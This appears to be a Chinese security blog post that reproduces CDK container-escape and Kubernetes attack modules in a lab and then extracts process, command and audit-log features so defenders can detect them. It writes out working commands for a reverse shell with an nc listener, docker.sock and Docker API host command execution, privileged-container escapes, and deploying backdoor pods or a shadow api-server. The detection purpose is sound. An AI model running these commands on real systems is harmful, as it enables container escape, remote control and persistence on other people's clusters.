- 容器逃逸-docker-runc CVE-2019-5736
- 容器逃逸-containerd-shim CVE-2020-15257
- 容器逃逸-docker.sock逃逸PoC(docker-in-docker)
- 容器逃逸-docker.sock命令执行
- 容器逃逸-Docker API(2375)命令执行
- 容器逃逸-挂载逃逸(特权容器)
- 容器逃逸-Cgroup逃逸(特权容器)
- 容器逃逸-Procfs目录挂载逃逸
- 容器逃逸-Ptrace逃逸PoC
- 容器逃逸-lxcfs cgroup错误配置逃逸
- 容器逃逸-重写Cgroup以访问设备
- 网络探测-K8s组件探测
- 信息收集-检查和获取Istio元信息
- 远程控制-反弹shell
- 信息窃取-暴力破解镜像源账号
- 信息窃取-扫描AK及API认证凭据
- 信息窃取-窃取K8s Secrets
- 信息窃取-窃取K8s Config
- 信息窃取-获取K8s Pod Security Policies
- 权限提升-K8s RBAC绕过
- 持久化-部署WebShell
- 持久化-部署后门Pod
- 持久化-部署影子K8s api-server
- 持久化-K8s MITM攻击(CVE-2020-8554)
- 持久化-部署K8s CronJob
CDK网络探测-k8s组件探测
进入测试容器中查看k8s环境变量
1 | env |grep KUBE |
网络探测扫描整个C段中开放的k8s api端点
1 | ./cdk run service-probe 10.96.0.1-255 |
特征提取
进程特征
由于扫描的时间长,该进程很容易被检测到,以bash为父进程,cdk为子进程;cdk的参数为run service-probe [IP范围]。
命令特征
1 | ./cdk run service-probe [IP范围] |
CDK容器逃逸-lxcfs cgroup错误配置逃逸
运行cdk逃逸脚本
1 | ./cdk run lxcfs-rw |
运行debugfs查看host_dev文件系统
1 | debugfs -w host_dev |
特征提取
进程特征
(这里换成了ubuntu镜像好查看进程细节)
这个不是短进程,查看进程信息,bash为父进程,debugfs为子进程(参数为-w cdk-test,如果是使用cdk则参数固定为-w host_dev)
命令特征
以下的命令都是固定的,也是由于CDK内置的原因
1 | ./cdk run lxcfs-rw |
CDK容器逃逸-重写cgroup以访问设备
由于这个和上面的lxcfs cgroup错误配置逃逸十分相似于是没有进行复现
特征提取
进程特征
父进程为bash,子进程为debugfs,参数为cdk_mknod_result
命令特征
1 | ./cdk run rewrite-cgroup-devices |
CDK远程控制-反弹shell
远程服务器监听端口
1 | nc -lvvp 14444 |
进入测试容器执行命令
1 | ./cdk run reverse-shell IP:端口 |
特征提取
进程特征
这个不是短进程,以bash为父进程,cdk为子进程,参数为run reverse-shell IP:端口
命令特征
1 | ./cdk run reverse-shell IP:端口 |
CDK容器逃逸-docker.sock逃逸PoC(docker-in-docker)
进入测试容器,写一个重复执行的脚本去执行CDK命令
1 |
|
特征提取
进程特征
docker.sock的挂载位置可能改变。
父进程为bash,子进程为cdk,执行的命令参数为run docker-sock-check [docker.sock挂载位置]
命令特征
1 | ./cdk run docker-sock-check [docker.sock挂载位置] |
CDK容器逃逸-docker.sock命令执行
进入测试容器执行CDK命令
1 | ./cdk run docker-sock-pwn /var/run/docker.sock touch /host/tmp/pwn-success |
特征提取
进程特征
父进程为bash,子进程为cdk,参数为run docker-sock-pwn [docker.sock位置] [CMD命令]
命令特征
1 | ./cdk run docker-sock-pwn [docker.sock位置] [CMD命令] |
CDK容器逃逸-挂载逃逸(特权容器)
进入测试容器,写一个重复执行的脚本执行命令
1 |
|
特征提取
进程特征
父进程为bash,子进程为cdk,参数为run mount-disk
命令特征
1 | ./cdk run mount-disk |
CDK容器逃逸Cgroup逃逸(特权容器)
进入测试容器执行命令
1 | ./cdk run mount-cgroup "touch /tmp/exp-success" |
查看是否执行成功
特征提取
进程特征
父进程bash,子进程cdk,参数run mount-cgroup [CMD命令]
命令特征
1 | ./cdk run mount-cgroup [CMD命令] |
CDK容器逃逸-Procfs目录挂载逃逸
进入测试容器,写一个重复执行的脚本执行命令
1 |
|
发现宿主机被写入文件
特征提取
进程特征
父进程为bash,子进程为cdk,参数为run mount-procfs [挂载proc路径] [CMD命令]
命令特征
1 | ./cdk run mount-procfs [挂载proc路径] [CMD命令] |
CDK容器逃逸-Docker API(2375)命令执行
进入测试容器执行命令
1 | ./cdk run docker-api-pwn http://192.168.38.210:2375 "touch /host/tmp/docker-api-pwn" |
查看到成功写入
特征提取
进程特征
父进程为bash,子进程为cdk,参数为docker-api-pwn [docker api访问路径] [CMD命令]
命令特征
1 | ./cdk run docker-api-pwn [docker api访问路径] [CMD命令] |
CDK信息收集-检查和获取Istio元信息
执行命令
1 | ./cdk run istio-check |
特征提取
进程特征
父进程为bash,子进程为cdk,参数为run istio-check
命令特征
1 | ./cdk run istio-chek |
网络特征
CDK持久化-部署影子K8s api-server
部署影子k8s api-server的步骤详见我近期的文章-部署影子APIServer,接着进入容器执行命令
1 | ./cdk run k8s-shadow-apiserver default |
可以看到影子APIServer创建成功
特征提取
进程特征
父进程bash,子进程cdk,参数为run k8s-shadow-apiserver default/anonymous/token-path
命令特征
1 | ./cdk run k8s-shadow-apiserver default/anonymous/token-path |
日志审计特征
由于涉及pod创建,所以可以开启日志审计,写一个审计pod创建的日志审计策略捕获特征。由于影子api-server是利用修改api-server启动配置得以利用,所以我们在捕获特征的过程重点关注这个,详细见我近期的文章-Kubernetes日志审计策略
CDK持久化-部署K8s CronJob
进入测试容器,执行命令
1 | ./cdk run k8s-cronjob default min alpine "echo hellow;echo cronjob" |
特征提取
进程特征
父进程 bash,子进程cdk,参数run k8s-cronjob [default|anonymous|service-account-token-path] [min|hour|day|cron-expr] [IMAGE] [ARGS]
命令特征
1 | ./cdk run k8s-cronjob [default|anonymous|service-account-token-path] [min|hour|day|cron-expr] [IMAGE] [ARGS] |
日志审计特征
由于涉及cronjob创建,所以可以开启日志审计,写一个审计cronjob创建的日志审计策略捕获特征,详细见我近期的文章-Kubernetes日志审计策略
CDK持久化-部署后门Pod
进入测试容器,执行命令
1 | ./cdk run k8s-backdoor-daemonset default ubuntu |
特征提取
进程特征
父进程 bash,子进程cdk,参数run k8s-backdoor-daemonset [default|anonymous|service-account-token-path] [image]
命令特征
1 | ./cdk run k8s-backdoor-daemonset [default|anonymous|service-account-token-path] [image] |
日志审计特征
由于涉及pod创建,所以可以开启日志审计,写一个审计pod创建的日志审计策略捕获特征。后门pod通常会挂载宿主机/目录,可以作为特征在日志审计中捕获,详细见我近期的文章-Kubernetes日志审计策略
Author: Sally